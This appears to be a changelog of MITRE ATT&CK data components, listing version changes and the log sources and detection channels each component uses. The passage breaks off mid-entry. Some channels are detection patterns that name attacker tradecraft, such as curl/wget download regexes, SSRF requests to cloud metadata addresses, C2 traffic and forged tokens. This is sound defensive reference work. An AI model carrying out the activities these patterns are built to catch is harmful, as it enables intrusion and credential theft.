| modified | 2025-04-18 15:16:25.136000+00:00 | 2025-10-21 15:14:35.880000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0006', 'external_id': 'DC0006'}] | |
| x_mitre_log_sources | [{'name': 'WinEventLog:ADFS', 'channel': 'Token issuance events showing anomalous claims or issuers'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRole, GetFederationToken API calls by unusual or new entities'}, {'name': 'azure:signinLogs', 'channel': 'SAML/OIDC tokens issued without corresponding MFA or password validation'}, {'name': 'm365:unified', 'channel': 'Session creation without MFA or login event'}, {'name': 'm365:oauth', 'channel': 'OAuth grants or tokens issued without expected user consent'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--1e26f222-e27e-4bfa-830c-fa4b4f18b5e4 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:49:08.104000+00:00 | 2025-10-21 15:14:38.777000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0007', 'external_id': 'DC0007'}] | |
| x_mitre_log_sources | [{'name': 'AWS:CloudTrail', 'channel': 'SessionToken used without preceding MFA or login event'}, {'name': 'm365:unified', 'channel': 'SessionId reused from different device/browser fingerprint'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRoleWithSAML'}, {'name': 'saas:access', 'channel': 'SAML token accepted without preceding login challenge'}, {'name': 'm365:exchange', 'channel': 'Mailbox access using SAML token without corresponding MFA event'}, {'name': 'AWS:CloudTrail', 'channel': 'GetSessionToken, AssumeRoleWithWebIdentity'}, {'name': 'macos:unifiedlog', 'channel': 'New session initiated using cookies without normal MFA or password validation'}, {'name': 'm365:unified', 'channel': 'Session activity without correlated login event'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRole, GetFederationToken, GetSessionToken'}, {'name': 'azure:signinlogs', 'channel': 'TokenIssued, RefreshTokenUsed'}, {'name': 'saas:googleworkspace', 'channel': 'OAuthTokenGranted, APIRequest'}, {'name': 'm365:unified', 'channel': 'OAuthTokenIssued, FileAccessed, MailItemsAccessed'}, {'name': 'kubernetes:apiserver', 'channel': 'serviceAccount token used in API requests not tied to workload identity'}, {'name': 'NSM:Connections', 'channel': 'Pre-authentication keys generated or token signing anomalies'}, {'name': 'macos:unifiedlog', 'channel': 'Web sessions initiated with newly forged tokens'}, {'name': 'saas:auth', 'channel': 'API requests made with tokens not associated with expected user logins'}, {'name': 'azure:signinLogs', 'channel': 'TokenIssuanceStart, TokenIssuanceSuccess'}, {'name': 'saas:googleworkspace', 'channel': 'access_token issued'}, {'name': 'm365:unified', 'channel': 'TokenIssued, FileAccessed'}, {'name': 'AWS:CloudTrail', 'channel': 'GetCallerIdentity'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--1e26f222-e27e-4bfa-830c-fa4b4f18b5e4 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:48:47.351000+00:00 | 2025-10-21 15:14:37.480000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0050', 'external_id': 'DC0050'}] | |
| x_mitre_log_sources | [{'name': 'WinEventLog:Security', 'channel': 'EventCode=4656'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4657'}, {'name': 'EDR:hunting', 'channel': 'Behavioral rule for registry enumeration under credential-related paths'}, {'name': 'Autoruns:RegistryScan', 'channel': 'Enumerate Winlogon subkeys for unknown or unsigned binaries'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:12:12.634000+00:00 | 2025-10-21 15:14:39.242000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0056', 'external_id': 'DC0056'}] | |
| x_mitre_log_sources | [{'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=12'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:12:09.376000+00:00 | 2025-10-21 15:14:37.143000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0045', 'external_id': 'DC0045'}] | |
| x_mitre_log_sources | [{'name': 'Windows Registry', 'channel': 'None'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:12:03.268000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0063', 'external_id': 'DC0063'}] | |
| x_mitre_log_sources | [{'name': 'Windows Registry', 'channel': 'None'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=13'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4657'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=14'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4670'}, {'name': 'WinEventLog:Sysmon', 'channel': 'StubPath value written under HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components'}, {'name': 'm365:unified', 'channel': 'MacroSecuritySettingsChanged or SafeModeDisabled'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=13, 14'}, {'name': 'WinEventLog:Security', 'channel': 'modification to Winlogon registry keys such as Shell, Notify, or Userinit'}, {'name': 'WinEventLog:Security', 'channel': 'Registry key modification HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient\\EnableMulticast'}, {'name': 'macos:unifiedlog', 'channel': 'g_CiOptions modification or SIP state change'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Autoruns reports DLLs in AppInit_DLLs key'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:11:59.993000+00:00 | 2025-10-22 18:34:46.572000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
| x_mitre_data_source_ref | x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0112', 'external_id': 'DC0112'}] | |
| x_mitre_log_sources | [{'name': 'Application Vetting', 'channel': 'None'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--e156f007-c5bf-45cc-8dd5-d442ffb0d203 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:22:21.246000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0119', 'external_id': 'DC0119'}] | |
| x_mitre_log_sources | [{'name': 'Application Vetting', 'channel': 'None'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--e156f007-c5bf-45cc-8dd5-d442ffb0d203 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2024-03-29 14:59:30.164000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.2 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0064', 'external_id': 'DC0064'}] | |
| x_mitre_log_sources | [{'name': 'Command', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of realmd, samba-tool, or ldapmodify with user-related arguments'}, {'name': 'macos:unifiedlog', 'channel': 'dsconfigad or dscl with create or append options for AD-bound users'}, {'name': 'EDR:AMSI', 'channel': 'None'}, {'name': 'linux:syslog', 'channel': '/var/log/syslog or journalctl'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Get-ADTrust|GetAllTrustRelationships'}, {'name': 'gcp:audit', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of script interpreters by systemd timer (ExecStart)'}, {'name': 'AWS:CloudTrail', 'channel': 'InvokeFunction'}, {'name': 'm365:unified', 'channel': 'Automated forwarding or file sync initiated by a logic app'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4104'}, {'name': 'linux:syslog', 'channel': 'Suspicious script or command execution targeting browser folders'}, {'name': 'esxi:shell', 'channel': 'snapshot create/copy, esxcli'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands like systemctl stop |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--73691708-ffb5-4e29-906d-f485f6fa7089 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:11:30.145000+00:00 | 2025-10-21 15:14:34.849000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.2 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0018', 'external_id': 'DC0018'}] | |
| x_mitre_log_sources | [{'name': 'Sensor Health', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'interface_details '}, {'name': 'Windows:perfmon', 'channel': 'Sustained CPU/memory exhaustion by service process (e.g., w3wp.exe)'}, {'name': 'macos:unifiedlog', 'channel': 'Web service process (e.g., httpd) entering crash loop or consuming excessive CPU'}, {'name': 'AWS:CloudWatch', 'channel': 'Sustained spike in CPU usage on EC2 instance with web service role'}, {'name': 'WinEventLog:System', 'channel': 'System shutdowns due to bugcheck (Event ID 1001) or watchdog timer expirations'}, {'name': 'linux:syslog', 'channel': 'Out of memory killer invoked or kernel panic entries'}, {'name': 'macos:unifiedlog', 'channel': 'Spike in CPU or memory use from non-user-initiated processes'}, {'name': 'AWS:CloudWatch', 'channel': 'StatusCheckFailed or StatusCheckFailed_System for burstable instances (t2/t3)'}, {'name': 'kubernetes:events', 'channel': 'CrashLoopBackOff, OOMKilled, container restart count exceeds threshold'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=16'}, {'name': 'Windows:perfmon', 'channel': 'High sustained CPU usage by a single process'}, {'name': 'linux:procfs', 'channel': 'Sustained high /proc/[pid]/stat usage'}, {'name': 'CloudWatch:Metrics', 'channel': 'Sustained EC2 CPU usage above normal baseline'}, {'name': 'prometheus:metrics', 'channel': 'Container CPU/Memory usage exceeding threshold'}, {'name': 'linux:syslog', 'channel': 'Service stop or disable messages for security tools not reflected in SIEM alerts'}, {'name': 'macos:unifiedlog', 'channel': 'Termination or disabling of XProtect, Gatekeeper, or third-party AV daemons'}, {'name': 'CloudWatch:InstanceMetrics', 'channel': 'NetworkOut spike beyond baseline'}, {'name': 'WinEventLog:Microsoft-Windows-TCPIP', 'channel': 'Connection queue overflow or failure to allocate TCP state object'}, {'name': 'NSM:Flow', 'channel': 'TCP: possible SYN flood or backlog limit exceeded'}, {'name': 'macos:unifiedlog', 'channel': 'network stack resource exhaustion, tcp_accept queue overflow, repeated resets'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=1166, 7045'}, {'name': 'auditd:SYSCALL', 'channel': 'firmware_update, kexec_load'}, {'name': 'journald:boot', 'channel': 'Secure Boot failure, firmware version change'}, {'name': 'macos:unifiedlog', 'channel': 'EFI firmware integrity check failed'}, {'name': 'macos:syslog', 'channel': 'Hardware UUID or device list drift'}, {'name': 'Windows:perfmon', 'channel': 'Sudden spike in outbound throughput without corresponding inbound traffic'}, {'name': 'sar:network', 'channel': 'Outbound network saturation with minimal process activity'}, {'name': 'AWS:CloudWatch', 'channel': 'Sudden spike in network output without a corresponding inbound request ratio'}, {'name': 'Windows:perfmon', 'channel': 'Sudden spikes in CPU/Memory usage linked to specific application processes'}, {'name': 'CloudMetrics:InstanceHealth', 'channel': 'Autoscaling, memory/cpu alarms, or instance unhealthiness'}, {'name': 'macos:unifiedlog', 'channel': 'System Integrity Protection (SIP) state reported as disabled'}, {'name': 'AWS:CloudWatch', 'channel': 'Unusual CPU burst or metric anomalies'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=1074'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=6006'}, {'name': 'linux:syslog', 'channel': 'system is powering down'}, {'name': 'macos:unifiedlog', 'channel': 'System shutdown or reboot requested'}, {'name': 'esxi:hostd', 'channel': 'Powering off or restarting host'}, {'name': 'networkdevice:syslog', 'channel': 'System reboot scheduled or performed'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--4523e7f3-8de2-4078-96f8-1227eb537159 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:16:18.582000+00:00 | 2025-10-21 15:14:37.544000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0113', 'external_id': 'DC0113'}] | |
| x_mitre_log_sources | [{'name': 'Application Vetting', 'channel': 'None'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--e156f007-c5bf-45cc-8dd5-d442ffb0d203 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-16 21:22:21.724000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.2 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0082', 'external_id': 'DC0082'}] | |
| x_mitre_log_sources | [{'name': 'Network Traffic', 'channel': 'None'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound connection to 169.254.169.254 from EC2 workload'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=3'}, {'name': 'macos:unifiedlog', 'channel': 'connection attempts'}, {'name': 'esxi:hostd', 'channel': 'System service interactions'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=3, 22'}, {'name': 'NSM:Connections', 'channel': 'web domain alerts'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=22'}, {'name': 'auditd:SYSCALL', 'channel': 'connect'}, {'name': 'auditd:SYSCALL', 'channel': 'netconnect'}, {'name': 'macos:osquery', 'channel': 'process_events/socket_events'}, {'name': 'NSM:Firewall', 'channel': 'Outbound Connections'}, {'name': 'macos:unifiedlog', 'channel': 'connection open'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execs of chromium, google-chrome, firefox, libreoffice with http(s) in cmdline'}, {'name': 'NSM:Flow', 'channel': 'New TCP/443 or TCP/80 to domain not previously seen for the user/host'}, {'name': 'NSM:Connections', 'channel': 'New outbound connection from Safari/Chrome/Firefox/Word'}, {'name': 'NSM:Flow', 'channel': 'conn.log'}, {'name': 'auditd:SYSCALL', 'channel': 'open or connect'}, {'name': 'macos:osquery', 'channel': 'execution of trusted tools interacting with external endpoints'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=22'}, {'name': 'WinEventLog:Microsoft-Windows-Bits-Client/Operational', 'channel': 'BITS job lifecycle events such as job create/modify/transfer/complete and URL/remote name fields'}, {'name': 'NSM:Firewall', 'channel': 'proxy or TLS inspection logs'}, {'name': 'macos:unifiedlog', 'channel': 'network connection events'}, {'name': 'esxi:vmkernel', 'channel': 'protocol egress'}, {'name': 'NSM:Flow', 'channel': 'Outbound connection to *.tunnels.api.visualstudio.com or *.devtunnels.ms'}, {'name': 'NSM:Flow', 'channel': 'Connections to *.devtunnels.ms or tunnels.api.visualstudio.com'}, {'name': 'NSM:Flow', 'channel': 'HTTPs connection to tunnels.api.visualstudio.com'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5156'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5156,5157'}, {'name': 'linux:osquery', 'channel': 'family=AF_PACKET or protocol raw; process name not in allowlist.'}, {'name': 'macos:unifiedlog', 'channel': 'First outbound connection from the same PID/user shortly after an inbound trigger.'}, {'name': 'NSM:Flow', 'channel': 'Outbound or inbound TFTP file transfers of ROMMON or firmware binaries'}, {'name': 'NSM:Connections', 'channel': 'Outbound connections from newly spawned child processes or from the browser to uncommon endpoints or on anomalous ports'}, {'name': 'NSM:Flow', 'channel': 'connection: TCP connections to ports 139/445 to multiple hosts'}, {'name': 'NSM:Flow', 'channel': 'connection: SMB connections to multiple internal hosts'}, {'name': 'auditd:SYSCALL', 'channel': 'connect/sendto'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_CONNECT'}, {'name': 'snmp:access', 'channel': 'GETBULK/GETNEXT requests for OIDs associated with configuration parameters'}, {'name': 'esxi:hostd', 'channel': 'Service initiated connections'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Large transfer volume (>20MB) from RDS IP range to external public IPs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'High outbound traffic from new region resource'}, {'name': 'NSM:Flow', 'channel': 'Outbound HTTP/S initiated by newly installed interpreter process'}, {'name': 'auditd:SYSCALL', 'channel': 'open or connect syscalls on /tmp/ssh-* or $SSH_AUTH_SOCK'}, {'name': 'NSM:Flow', 'channel': 'outbound connections to RMM services or to unusual destination ports'}, {'name': 'macos:unifiedlog', 'channel': 'network sessions initiated by remote desktop apps'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound connections to port 22, 3389'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect with TLS context by unexpected process'}, {'name': 'NSM:Flow', 'channel': "Multiple failed connections (conn_state=REJ/S0 or history has 'R') across distinct ports from the same src_ip followed by success to a specific port."}, {'name': 'auditd:SYSCALL', 'channel': 'socket/bind: New bind() to a previously closed port shortly after the sequence.'}, {'name': 'NSM:Flow', 'channel': 'Sequence of REJ/S0 then SF success from same src_ip within TimeWindow.'}, {'name': 'NSM:Flow', 'channel': 'Series of denied/closed flows to distinct ports then success to mgmt port from same src_ip within TimeWindow.'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic spike through formerly blocked ports/subnets following config change'}, {'name': 'cni:netflow', 'channel': 'outbound connection to internal or external APIs'}, {'name': 'macos:osquery', 'channel': 'launchd or network_events'}, {'name': 'networkdevice:syslog', 'channel': 'Dynamic route changes'}, {'name': 'NSM:Flow', 'channel': 'New egress to Internet by the same UID/host shortly after terminal exec'}, {'name': 'NSM:Flow', 'channel': 'connection: Inbound connections to SSH or VPN ports'}, {'name': 'macos:unifiedlog', 'channel': 'Inbound connections to VNC/SSH ports'}, {'name': 'NSM:Flow', 'channel': 'External access to container ports (2375, 6443)'}, {'name': 'linux:syslog', 'channel': 'network'}, {'name': 'macos:osquery', 'channel': 'process_events + launchd'}, {'name': 'esxi:esxupdate', 'channel': '/var/log/esxupdate.log or /var/log/vmksummary.log'}, {'name': 'ebpf:syscalls', 'channel': 'socket connect'}, {'name': 'NSM:Flow', 'channel': 'remote access'}, {'name': 'NSM:Flow', 'channel': 'Outbound Connections'}, {'name': 'macos:unifiedlog', 'channel': 'network'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Traffic observed on mirror destination instance'}, {'name': 'networkdevice:Flow', 'channel': 'Traffic from mirrored interface to mirror target IP'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=3'}, {'name': 'macos:osquery', 'channel': 'process_events, socket_events'}, {'name': 'esxi:vmkernel', 'channel': 'network activity'}, {'name': 'NSM:Flow', 'channel': 'connection attempts'}, {'name': 'NSM:Flow', 'channel': 'High-volume or repeated SNMP GETBULK/GETNEXT queries from untrusted or external IPs'}, {'name': 'auditd:SYSCALL', 'channel': 'sendto/connect'}, {'name': 'NSM:Flow', 'channel': 'outbound connections from host during or immediately after image build'}, {'name': 'macos:unifiedlog', 'channel': 'Outbound Traffic'}, {'name': 'esxi:hostd', 'channel': 'Service-Based Network Connection'}, {'name': 'linux:syslog', 'channel': 'postfix/smtpd'}, {'name': 'NSM:Flow', 'channel': 'new outbound connection from browser/office lineage'}, {'name': 'NSM:Flow', 'channel': 'new outbound connection from exploited lineage'}, {'name': 'macos:osquery', 'channel': 'CONNECT: Long-lived connections from remote-control parents to external IPs/domains'}, {'name': 'auditd:SYSCALL', 'channel': 'outbound connections'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'esxi:vmkernel', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'networkd or socket'}, {'name': 'macos:unifiedlog', 'channel': 'log stream network activity'}, {'name': 'NSM:Flow', 'channel': "Multiple failed connections to closed ports (history contains 'R' or conn_state in {REJ, S0}) followed by a successful handshake to a new port from same src within TimeWindowKnock"}, {'name': 'auditd:SYSCALL', 'channel': 'socket/bind: Process binds to a new local port shortly after knock'}, {'name': 'NSM:Flow', 'channel': 'Closed-port hits followed by success from same src_ip'}, {'name': 'NSM:Flow', 'channel': 'Port-knock pattern from one src to device unicast,broadcast,network addresses on same port within TimeWindowKnock'}, {'name': 'WinEventLog:Microsoft-Windows-WLAN-AutoConfig', 'channel': '8001, 8002, 8003'}, {'name': 'linux:syslog', 'channel': 'New Wi-Fi connection established or repeated association failures'}, {'name': 'macos:unifiedlog', 'channel': 'Association and authentication events including failures and new SSIDs'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect calls showing SSH processes forwarding arbitrary ports'}, {'name': 'esxi:vmkernel', 'channel': 'network session initiation with external HTTPS services'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=8001'}, {'name': 'linux:syslog', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'openat,connect -k discovery'}, {'name': 'NSM:Flow', 'channel': 'Unexpected inbound/outbound TFTP traffic for device image files'}, {'name': 'NSM:Flow', 'channel': 'Unexpected or unauthorized inbound connections to SNMP, NETCONF, or RESTCONF services'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:11:23.639000+00:00 | 2025-10-21 15:14:34.190000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.2 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0085', 'external_id': 'DC0085'}] | |
| x_mitre_log_sources | [{'name': 'Network Traffic', 'channel': 'None'}, {'name': 'ebpf:syscalls', 'channel': 'Process within container accesses link-local address 169.254.169.254'}, {'name': 'WebProxy:AccessLogs', 'channel': 'SSRF-like patterns accessing metadata endpoint through proxy (e.g., Host: 169.254.169.254)'}, {'name': 'NSM:Flow', 'channel': 'mqtt.log / xmpp.log (custom log feeds)'}, {'name': 'NSM:Flow', 'channel': 'mqtt.log or AMQP custom log'}, {'name': 'NSM:Flow', 'channel': 'mqtt.log, xmpp.log, amqp.log'}, {'name': 'networkdevice:syslog', 'channel': 'ACL/Firewall rule modification or new route injection'}, {'name': 'm365:office', 'channel': 'External HTTP/DNS connection from Office binary shortly after macro trigger'}, {'name': 'NSM:Flow', 'channel': 'TCP/UDP'}, {'name': 'NSM:Flow', 'channel': 'TCP session tracking'}, {'name': 'NSM:Flow', 'channel': 'Captured packet payloads'}, {'name': 'NSM:Flow', 'channel': 'session behavior'}, {'name': 'esxi:vmkernel', 'channel': 'Network activity'}, {'name': 'NSM:Flow', 'channel': 'External C2 channel over TLS'}, {'name': 'NSM:Flow', 'channel': 'http/file-xfer: Inbound/outbound transfer of ELF shared objects'}, {'name': 'NSM:Flow', 'channel': 'http.log, files.log'}, {'name': 'NSM:Flow', 'channel': 'unexpected network activity initiated shortly after shell session starts'}, {'name': 'NSM:Flow', 'channel': 'HTTP/WebDAV requests that contain NTLMSSP or PROPFIND/MOVE/OPTIONS with Authorization: NTLM'}, {'name': 'NSM:Flow', 'channel': 'http.log, ssl.log'}, {'name': 'NSM:Flow', 'channel': 'http.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'SPAN or port-mirrored HTTP/S'}, {'name': 'NSM:Flow', 'channel': 'http.log, ssl.log, websocket.log'}, {'name': 'macos:unifiedlog', 'channel': 'process + network metrics correlation for bandwidth saturation'}, {'name': 'docker:stats', 'channel': 'unusual network TX/RX byte deltas'}, {'name': 'etw:Microsoft-Windows-WinINet', 'channel': 'HTTPS Inspection'}, {'name': 'NSM:Flow', 'channel': 'ssl.log'}, {'name': 'linux:syslog', 'channel': 'Query to suspicious domain with high entropy or low reputation'}, {'name': 'macos:unifiedlog', 'channel': 'DNS query with pseudo-random subdomain patterns'}, {'name': 'azure:vpcflow', 'channel': 'HTTP requests to 169.254.169.254 or Azure Metadata endpoints'}, {'name': 'NSM:Flow', 'channel': 'Browser connections to known C2 or dynamic DNS domains'}, {'name': 'NSM:Flow', 'channel': 'Session History Reset'}, {'name': 'NSM:Flow', 'channel': 'HTTP '}, {'name': 'macos:unifiedlog', 'channel': 'network flow'}, {'name': 'linux:syslog', 'channel': 'curl|wget|python .*http'}, {'name': 'macos:unifiedlog', 'channel': 'curl|osascript.*open location'}, {'name': 'NSM:Flow', 'channel': 'query: High-volume LDAP traffic with filters targeting groupPolicyContainer attributes'}, {'name': 'etw:Microsoft-Windows-NDIS-PacketCapture', 'channel': 'TLS Handshake/Network Flow'}, {'name': 'NSM:Flow', 'channel': 'HTTP/TLS Logs'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem: com.apple.network'}, {'name': 'linux:syslog', 'channel': 'Unexpected SQL or application log entries showing tampered or malformed data'}, {'name': 'EDR:hunting', 'channel': 'Advanced Hunting: DeviceProcessEvents + DeviceNetworkEvents'}, {'name': 'NSM:Flow', 'channel': 'Suspicious URL patterns, uncommon TLDs, short-lived domains, URL shorteners; HTTP method GET/POST'}, {'name': 'NSM:Flow', 'channel': 'Suspicious URL patterns, uncommon TLDs, URL shorteners'}, {'name': 'macos:unifiedlog', 'channel': 'open URL|clicked link|LSQuarantineAttach'}, {'name': 'NSM:Flow', 'channel': 'Suspicious GET/POST; downloader patterns'}, {'name': 'NSM:Flow', 'channel': 'SSH logins or scp activity'}, {'name': 'NSM:Flow', 'channel': 'remote login and transfer'}, {'name': 'esxi:vob', 'channel': 'NFS/remote access logs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Traffic between instances'}, {'name': 'NSM:Flow', 'channel': 'conn.log'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=5005 (WLAN), EventCode=302 (Bluetooth)'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Suspicious long-lived or reattached remote desktop sessions from unexpected IPs'}, {'name': 'NSM:Flow', 'channel': 'HTTP payloads with SQLi/LFI/JNDI/deserialization indicators'}, {'name': 'NSM:Flow', 'channel': 'outbound egress from web host after suspicious request'}, {'name': 'NSM:Flow', 'channel': 'Requests towards cloud metadata or command & control from pod IPs'}, {'name': 'ALB:HTTPLogs', 'channel': 'AWS ALB/ELB/GCP/Azure Application Gateway HTTP logs with unusual methods, long URIs, serialized payloads, 4xx/5xx bursts'}, {'name': 'NSM:Flow', 'channel': 'Connections to TCP 427 (SLP) or vCenter web services from untrusted sources'}, {'name': 'NSM:Flow', 'channel': 